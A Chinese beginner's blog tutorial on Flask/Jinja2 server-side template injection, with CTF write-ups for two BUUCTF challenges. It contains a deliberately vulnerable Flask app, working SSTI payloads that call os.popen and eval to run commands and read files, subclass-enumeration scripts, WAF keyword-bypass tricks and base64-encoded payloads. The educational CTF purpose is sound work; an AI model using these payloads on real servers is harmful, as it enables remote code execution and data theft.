Loading

SSTI(模板注入)--Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI)

写在最前面

本篇博客是面向CTF萌新向的讲解,所以叙述上可能存在一定程度的啰嗦,技术上并没有涉及高级的bypass和生产上的防御,展示过程采用手工+手写简单脚本并未使用tplmap等成熟的工具(其实博主自己也不会怎么用罢了)。博客写出来是希望对于未接触过SSTI(这里针对Flask,其他的模板并未涉及)的萌新一点帮助,不至于在解题时一脸懵逼无从下手;其次对于payload进行一些讲解(有被当初自己学时候蠢到,所以这里给出的是博主个人的通俗笨比理解),希望有助于理解;最列对两道在BUUCTF上的Flask的SSTI题目进行讲解,在实际解题中是如何去使用和改进payload。

虽然说的是萌新向,但并不是0基础向(终究还是有门槛),阅读本篇博客需要掌握如下的技能(未掌握的话可能存在一定程度上的阅读障碍,当然这些部分涉及的内容并不多,也有可能一些小的知识点没列出来,但完全可以在阅读时通过搜索引擎来解决):

  • python语言编程基础
  • 知晓python中的类的相关知识
  • 知晓python中requests模块(能看得懂博客中脚本使用的用意就行了)
  • 了解linux基础命令
  • 了解HTTP相关知识(在题目讲解部分中的一题使用到)

这里是题目讲解部分的书签:

关于SSTI

SSTI(Server-Side Template Injection)也就是服务器端模板注入,和其他如SQL注入、XSS注入等类似,是由于代码不严谨或不规范且信任了用户的输入而导致的。用户的输入在正常情况下应该作为普通的变量在模板中渲染,但SSTI在模板进行渲染时实现了语句的拼接,模板渲染得到的页面实际上包含了注入语句产生的结果。

既然如此,那SSTI中的SST(Server-Side Template)又是什么呢?百度词条:模板引擎_百度百科 (baidu.com)。个人理解SST就是将页面中大量重复使用固定内容与变动内容分离,固定内容作为模板,而变动内容作为变量,每当该页面需要使用时只需要在模板中将变量替换为所需值即可,而不必为每次使用时从头到尾的生成两个完全不同的页面。

在本篇博客中将会主要讲述以Jinja2为引擎的Flask模板的SSTI,关于SSTI的具体场景可以参考下面的例子。

在如下页面中会获取URL中name参数的值替换掉页面中hello后面的字符,name的值不同hello后面的字符也不同。

 

但通过一个测试会发现,显示在页面上的是7*7运算得到的结果49,而不是一个单纯的字符串{{7*7}},这说明了模板渲染的是我们注入语句的结果也即说明存在SSTI。

我们可以通过控制输入name的值去实现XSS甚至SHELL命令。 

关于Flask的代码基础

Flask是一款使用python编写的模板,在这里将会简单的讲解关于Flask的python基础代码知识,以便更好的理解并使用之后讲解的payload。

以下创建了一个简单Flask的页面,当我们访问时会返回一个字符串。

可见访问页面的结果就是我们代码中所规定的显示了一句hello,我们也可以将一个HTML的所有代码放入return返回的字符串中,这样我们浏览的页面就是一个HTML页面(注意使用这样的方法返回一个HTML页面是不会经过模板渲染的,即在其中的模板语法并不会被解析,此部分在"关于payload"会有更详细的解释)。但我们完全可以将HTML的页面单独存放为一个文件,然后我们通过相应函数返回渲染后的HTML代码。

以下创建了一个仅包含固定内容的HTML文件,我们访问页面时,Flask会将这个HTML文件作为模板渲染并返回渲染后的HTML代码。

演示文件结构

文件代码

 访问页面

当然一个模板除了固定内容也会有变动的内容,但是这些变动的内容作为变量是不能直接在HTML文件中使用的(HTML是一种静态语言,并不能定义或处理变量之类动态语言所具有的),想要使用首先得在渲染模板时将这些变量传入,其次得在模板文件对应的位置用特殊语法(即模板语法)将这些变量标志以便被解析。

传入变量

 在模板文件中标志变量

访问页面

在模板文件中,显然{{username}} 这种语法不是HTML自带的,这是Flask中定义的模板语法,通过{{var}}可以用来在HTML中实现python中的变量,此外还有{% code %}用来在HTML中实现一些基础的python语法。

 这里仅讲述和payload使用有关的for语句和if语句,更多的语法参考:Jinja2用法总结 - yanzi_meng - 博客园 (cnblogs.com)

注意每一个if语句或for语句都是由{% if code %}{% endif %}或{% for code %}{% endfor %}这一对代码构成语句开头和结尾的。

关于payload

这里采用在"关于SSTI"部分使用的环境作为演示靶场,按照做题的步骤对payload逐步讲解,靶场代码及文件结构如下(因为大多数题目的flag均藏在系统中的某个文件内,所以这里并未包含在XSS方向上payload的讲解):

SSTI_test.py

import re
from flask import Flask,render_template_string,request

app=Flask(__name__)

indexhtml="""
<html>
<title>just a test</title>
<body><h1>
why not come <a href="ssti">here </a>to have a look</h1> 
</h1></body>
</html>
"""

whoareuhtml="""
<html>
<title>here s ssti</title>
<body>
<h3>you should tell me who you are then i can say hello to u!(use ?name= in url)</h3>
</body>
</html>
"""

tinyhtml=""" 
<html>
<title>here s ssti</title>
<body>
<h1>hello %s</h1>
</body>
</html>
"""

@app.route("/index")
@app.route("/")
def index():
    return indexhtml

@app.route("/ssti")
def ssti():
    name=request.args.get("name")
    if not name:
        return render_template_string(whoareuhtml)
    else:
        return render_template_string(tinyhtml%name)

if __name__=="__main__":
    app.run(debug=True)

flag存在于flag.txt文件中

开始解题,首先打开主页面。

SSTI是信任用户输入导致而不加防御导致的,所以进行SSTI就得找到一个我们可以控制的输入点,显然在主页面(/index或/)不存在这样的输入点,故点击here链接访问其他页面。

提示可以通过URL中参数name进行输入,先进行正常输入测试

 

发现页面显示内容和参数name的值有关,那么可以通过模板语法来测试是否存在SSTI可行性(本编博客只讲关于Flask的SSTI,故这里就未涉及如何来区分不同模板)。

{{var}}这个语法在Flask模板中表示双层花括号内是一个变量,此处我们输入{{7*7}}会被当成变量渲染,所以页面上会显示7*7的结果49(还可以采用其他四则运算来测试,但注意URL编码,例如测试2+2则应该是2%2B2)。但注意只有进行模板渲染后模板语法才能被解析,对应源文件代码中

 

如果此处直接采用return返回包含HTML代码的字符串,则是未经过渲染,此时的模板语法并不会被解析也就并不存在SSTI。

对于render_template函数来说,虽然目标HTML文件进行了渲染,但是我们在HTML文件中必须使用模板语法才能实现渲染,这就导致了我们的输入全部被包裹在模板语法中,这时我们的输入只会被当成一个字符串,并不会被当作模板语法渲染。

对应渲染的HTML文件

尝试使我们输入被当作模板语法渲染(均未成功)

payload 1

回到解题上来,现在我们发现在当前页面是存在SSTI,那么接下来就可以采用payload来进行进一步利用(因为测试是在WINDOWS上进行的,所以用的是WINDOWS的命令读取文件)。

{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}

获取到flag

这个payload采用了模板语法{{var}}传入参数name,而{{var}}所表示变量的值则是我们读取到的flag.txt的内容。显然这个payload长的吓人,我们从开头来一段一段分析这个payload。

首先给出一个总的解释,这个payload涉及到的是关于python中类的继承与被继承的关系,通过这种关系的查找合适的类,找到合适的类后利用该类中的函数或者模块去调用与读取文件相关的函数或命令,我们最终看到则是读取出来的flag。核心在于

eval("__import__('os').popen('type flag.txt').read()")

这一段,这一段用eval函数去执行括号中的语句。语句中导入了"os"模块,并调用模块中的popen函数(不采用system函数是因为返回值是int类型的执行结果状态码说明是否成功执行,我们查看不到实际执行结果)执行读取flag.txt文件的操作,最后将popen函数执行结果使用read方法读取出来。而popen括号中的字符串则是将要执行的系统命令,在实际做题时在此部分填入需要执行的命令,注意题目环境绝大多数都是Linux系统,应当选用Linux命令。当然还有其他更简介的payload,这里先理解这个长些的payload,对于之后的payload也更容易理解。

''.__class__ => __class__是类中的一个内置属性,值是该实例的对应的类。这里使用的是''.__class__,得到的则是空字符串对应的类,也就是字符类。这样操作的意义是将我们现在操作的对象切换到类上面去,这样才能进行之后继承与被继承的操作,所以这里可以选用其他数据类型再来调用__class__属性,效果是一样的(例如[].__class__、{}.__class__、True.__class等)。

''.__class__.__base__ => __base__也是类中的一个内置属性,值当前类的父类,而在python中object是一切类最顶层的父类,也就是说我们可以过上一步获取到的类往上获取(一般数据类型的上一层父类中便有object),最终便会获取到object,而由于object的特殊性,我们便能从object往下获取到其他所有的类,其中便有着能实现我们读取flag功能的类。(其他类似功能的还有__bases__、__mro__,但返回的数据包含类的元组,所以还需要下标选定object类)

''.__class__.__base__.__subclasses__() => __subclasses__ ()是类中的一个内置方法,返回值是包含当前类所有子类的一个列表,通过上一步获取到的object我们实现了向下获取,接着我们需要在这些子类中获取合适的类(下方截图只展示了一部分)。

''.__class__.__base__.__subclasses__()[80].__init__ => __init__是类中的内置方法,在这个类实例化是自动被调用,但是返回值只能是None,且在调用是必须传入该类的实例对象。如果我们不去调用它,此时我们获得的是我们选取的类中的__init__这个函数。由于python一切皆对象的特性,函数本质上也是对象,也存在类中的一些内置方法和内置属性,所以我们可以执行接下来的操作。

''.__class__.__base__.__subclasses__()[80].__init__.__globals__ => __globals__是函数中的一个内置属性,以字典的形式返回当前空间的全局变量,而其中就能找到我们需要的目标模块"__builtins__"。

但注意并不是每个类的__init__都拥有__globals__属性,所以我们寻找的合适的类实际上就是__init__中拥有__globals__属性的类。博主个人习惯用脚本遍历访问__subclasses__中各个类的__init__.__globals__,通常可以通过响应包的大小或是否正常访问来判断是否找到合适的类(访问不合适的类时往往响应包大小小上一截或根本不能正常访问)。

对应本题使用的简单脚本 

import requests as res
for i in range(0,400):
    url="http://127.0.0.1:5000/ssti?name={{''.__class__.__base__.__subclasses__()[%d].__init__.__globals__}}"
    response=res.get(url%i)
    print(len(response.text),i,response.status_code)

''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'] => 选中"__builtins__"模块,在这个模块中有很多我们常用的内置函数和类,其中就有eval函数。

''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()") => 如在前面所说,此处就是利用eval函数,eval函数将参数字符串当成python代码执行。__import__相当于import,区别在于__import__引入模块后我们可以直接使用符号"."在引入带后面调用模块中的函数。popen函数返回结果是一个object,所以还需要read方法将结果读取出来,至于system函数我们试着只能看到执行结果状态码,所以不考虑使用。

使用system

popen不使用read方法

 

此外在Flask中,像payload这样通过符号"."调用是特别的,部分内容返回类型是dict或者list,但仍然能使用符号"."起到类似"[key]"选定的作用,如果使用例如python自带的解释器则会报错(符号"."本应是对于类选取属性或方法使用)。

payload 2

{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].open("flag.txt").read()}}

payload 2在很多部分上和payload 1相似,但省去了使用eval函数的步骤,但是需要提前知道flag所在,否则仍然需要使用payload 1中命令行去搜索。

payload 3

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("type flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

官方给出的利用payload,利用了模板语法将payload 1中的寻找合适类的遍历在服务端实现,而"catch_warnings"为payload 1中合适的类中的一个,这个payload要求选取一个通用的合适的类(比如这个"catch_warnings"),保证不同设置下Flask都能获取到这个类。

payload 4

最好用的payload但有可能被检测过滤,作为储存配置信息的变量config刚好对应的就是一个非常合适的类,因为这个类中__init__函数全局变量中已经导入了"os"模块,我们可以直接调用。

{{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}

题目讲解

此处所讲题目均在BUUCTF上有提供,因为已经已知这些题目和Flask模板的SSTI有关,就不展开和SSTI无关的其他测试了,也不进行模板种类判断。在此处会按照上述payload讲解的流程来演示,所以会步骤中会按照上述来进行(会演示一些错误即纠错情景),而不是直接给出正确结果。

第一个题目会讲的相对详细点,其余的题目就会响应的省略一些步骤了。

[CSCCTF 2019 Qual]FlaskLight————双层__base__、简单bypass

打开页面,并未发现可控输入点,也未发现访问其他页面的提示。

 查看源码发现有提示,参数为search,采用GET方式传参。

正常传参发现参数search值与页面中"You Searched  for"处显示有关。

测试是否存在SSTI,发现传入四则运算时被解析,说明存在SSTI。

payload 1

先使用脚本找出合适的类。

import requests as res
import time
for i in range(0,400):
    url="http://61ef7259-23f5-43b3-8a0d-111f2e8a2c17.node3.buuoj.cn/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__.__globals__}}"
    response=res.get(url%i)
    #BUUCTF中访问速度过快会返回429,此时就需要暂缓再访问
    if response.status_code!=200:
        time.sleep(0.3)
        response=res.get(url%i)
    print(len(response.text),i,response.status_code)

发现访问近100多个类均为找到合适的类,猜测使用payload出现错误(通常来说100个左右的类中会含有合适的类,如果查找不到的合适的类就该停下来手工测试是否payload出现了问题)(下图截取并不完全)。

缩短payload,参数search传入"{{''.__class__.__base__.__subclasses__()}}",发现页面上只显示两个类,猜测未获取到object,因此子类数量只有两个。

参数search传入"{{''.__class__.__base__}}"查看通过空字符串获取到的父类。

发现并不是object,则添加一层__base__再访问。

获得object,此时在payload中补上__subclasses__(),发现能成功获得子类(下图截取并不完全)。

按照手工测试修改脚本中payload并运行(添加一层payload),发现访问大量类依旧查找不到合适类(下图截取并不完全)

继续手工测试,参数search传入"{{''.__class__.__base__.__base__.__subclasses__()[1].__init__}}"(这里随意选取一个类访问即可),发现能够正常获取到__init__,说明问题出在访问__init__的__globals__属性上,猜测是否存在关键字检测。

直接对参数search传入globals,发现无法正常访问,这里没用采有模板语法,globals只是当作普通的字符串传入,正常来说是不会出现无法正常访问的情况,说明存在关键字检测。

这时可以利用payload 1末尾部分所述,采用"['__globals__']"来替代'__globals__",对于字符串python中可以使用+来进行拼接,在模板语法中也是可行了,所以我们这里可以将"['__globals__']"改写成"['__glob'+'als__']"这样就绕过了对globals关键字的检测,将脚本中payload以此修改后运行。

此时能进行正常访问,且访问类时如果响应包的大小偏大(合适的类能获取到__globals__属性,而__globals__值为当前环境的全局变量,通常这一部分会很多,用来展示这一部分的字符也就很多)则说明是合适的类。

随意选取一个合适的类后按照payload 1中将payload补全,然后将payload中系统命令换成一个通常不会被检测过滤掉的命令,方便检测payload中是否还存在被检测的关键词,是否能执行,这里选用"whoami"(查看当前用户名,一般不会被过滤检查)。

参数search传入{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

正常执行,那么说明补全后的payload也是可行的,现在可以使用系统命令(Linux)去找flag文件了。

先查看下根目录(BUUCTF一般题目的flag都会放在根目录下的文件中),命令部分替换为"ls /"。

没有发现明示flag的文件,但是有个flasklight和本题SSTI有关,先打开看一下,命令部分替换为"ls /flasklight"。

发现疑似文件,读取后获得了flag,最终payload为:

?search={{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

在对"globals"关键字检测过滤部分提到可以使用"[key]"替换符号".",这一点实际上对于payload中绝大多数使用符号"."都是适用的(在稍后展示的payload中仅函数eval参数中的popen处不能替换为['popen'],但本身就是位于字符串之中所以还是可以绕过的),而能够适用"[key]"意味着这些地方的关键字检测都能被绕过,所以实际上如下的payload也是可行的:

{{''['__class__']['__base__']['__base__']['__subclasses__']()[78]['__init__']['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

payload 2

payload 1中已经进行了全流程的演示,往下直接给出各个payload对于这题的适用版本作为演示,由于最终结果都是获取同样的flag,所以并没有上截图。

{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].open("/flasklight/coomme_geeeett_youur_flek").read()}}

payload 3

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

上面为payload 3直接对参数search的输入,虽然在"payload讲解"部分看上是一行一句话,但是实际上输入并不需要考虑一点,甚至每一句模板语法之间不需要空格。

payload 4

{{config.__class__.__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

在这里并没有被过滤,直接使用就行了。

[GYCTF2020]FlaskApp(SSTI)————当目标成为一个小程序、关键字过滤

在此题中Flask做成了一款base64的加密和解密程序,选择加密和加密会将输入的字符串进行相应处理。

按照博主思路来说看见可以输入的地方就可以去试试SSTI,分别在加密页面和解密页面中测试。但在解密中使用模板语法来测试会报错,并显示相关信息。

其实在提示页面中的图想表达是这个Flask程序开启的debug模式,在debug模式下如果我们由于我们的错误输入导致报错,此时页面会显示一个函数调用追踪,从中我们可以分析报错原因(直到现在博主也联系不起为啥提啥了debug模式,或许就是太菜了吧)。

在这个报错中可以找到一条关于"/app/app.py"中的函数,也就是报错中高亮的那一条,点击打开可以看到绑定到decode页面的函数。

 

对这段函数进行审查,text获取GET或POST传入的参数text的值,变量text_decode再获取变量text的base64解码的结果,变量tmp获取的是变量text_decode格式化后结果。对变量tmp进行一个自定义的waf函数检测,如果在这里被检测到则无法向后进行。我们的目标应该是变量res,这个变量获取的是通过函数render_template_string传入变量tmp作为参数的结果,此后的代码看不到了,但可以猜测最后返回页面的结果与变量res有联系。

这里render_template_string函数说存在SSTI,但想要利用需要满足一些条件。

  1. 变量text要能被正确地base64解码,如果不能被正确解码我们访问到的页面只是这个显示错误的页面。
  2. 变量tmp传入函数waf后的返回值必须为假,否则只会执行if中的语句,并在其中的return处返回结果停止对之后的代码执行。
  3. 变量tmp中的值应该是合适的模板语法,函数render_template_string才能将其渲染,在页面上才能看到想要的结果。

"{{4+6}}"的base64加密后是"e3s0KjZ9fQ==",在decode页面提交来验证本题的SSTI利用思路。

成功获得了四则运算的结果,说明SSTI利用思路是正确的,这里没用"{{4*6}}"是因为符号"*"在waf种被检测了。

上一题中已经介绍了4种payload在题目中的使用,这里选用最简洁的payload 4先来使用。既然有waf来过滤检测(其实一般都有过滤)且给出了文件名,那可以直接查看以下源文件中函数waf是如定义的了从而更好的bypass。

对payload 4按照payload 1中一样来导入"__builtins__"模块再接着直接使用函数open打开文件接着read方法读取文件内容。"{{config.__class__.__init__.__globals__['__builtins__'].open('app.py').read()}}"的base64加密是"e3tjb25maWcuX19jbGFzc19fLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXS5vcGVuKCdhcHAucHknKS5yZWFkKCl9fQ==",在decode页面中提交。

 将其中关于函数waf的部分提出来并整理后如下。

def waf(str): 
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
for x in black_list : 
    if x in str.lower() : 
return 1

这里先给出不使用系统命令的payload,之后再讲述绕过waf的进而使用系统命令的payload。因为我们寻找flag文件主要是列目录,打开文件这两个操作,而"os"模块中定义了这些相关的函数,我们可以利用这些函数来替代系统命令,也就是说我们可以不采用类似payload 1中那样的导入"os"模块。

"os"模块中listdir可以用来列目录,对payload 4使用"os"模块(记住要拼接),再执行该函数列一下根目录的文件。"{{config.__class__.__init__.__globals__['o'+'s'].listdir('/')}}"的base64加密是"e3tjb25maWcuX19jbGFzc19fLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvJysncyddLmxpc3RkaXIoJy8nKX19",在decode页面中提交。

找到了可疑文件,和读取源文件一样利用函数open去读取这个文件(注意文件名含有字符串"flag",要拼接一下)。

"{{config.__class__.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt').read()}}"的base64加密是"e3tjb25maWcuX19jbGFzc19fLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXS5vcGVuKCcvdGhpc19pc190aGVfZmwnKydhZy50eHQnKS5yZWFkKCl9fQ==",在decode页面中提交。

得到了flag。

其他师傅们通常用上一种payload,但是根据上一题中发现的关于"."替代为"[key]"的结果,我们任然可以通过字符串拼接的方式绕过waf中的关键字过滤检测,使用这种方法获得的payload如下(这里直接把所有可以替代部分都换了,虽然没必要):

{{config['__class__']['__init__']['__glo'+'bals__']['__builtins__']['e'+'val']("__im"+"port__('o'+'s').po"+"pen('cat /this_is_the_fl'+'ag.txt').read()")}}

[2021-07-18 08:40:01]今天发现其实最末尾的.read()也可以按照上述规则替换,即payload末尾部分可以改成:"txt')['read']()"。

对应的base64编码:

e3tjb25maWdbJ19fY2xhc3NfXyddWydfX2luaXRfXyddWydfX2dsbycrJ2JhbHNfXyddWydfX2J1aWx0aW5zX18nXVsnZScrJ3ZhbCddKCJfX2ltIisicG9ydF9fKCdvJysncycpLnBvIisicGVuKCdjYXQgL3RoaXNfaXNfdGhlX2ZsJysnYWcudHh0JykucmVhZCgpIil9fQ==

 同样获取到flag(这里关于绕过waf部分的payload是之后补上的,所以获取到的flag值不一样)。

写在最后面

就像开头所说,这篇博客是萌新向的,技术力看见的不高,文章也显得啰嗦,如果对于各位师傅有所帮助那就再好不过了。当然这篇博客篇幅较长(前前后后硬是花了一周才写成,还是摸鱼太多了),博主写完后未进行仔细的检查(太懒了属于是),可能也存在叙述错误的地方,欢迎各位师傅斧正。参考过的文章链接如下:

posted @ 2021-05-21 21:06  Article_kelp  阅读(4272)  评论(1编辑  收藏  举报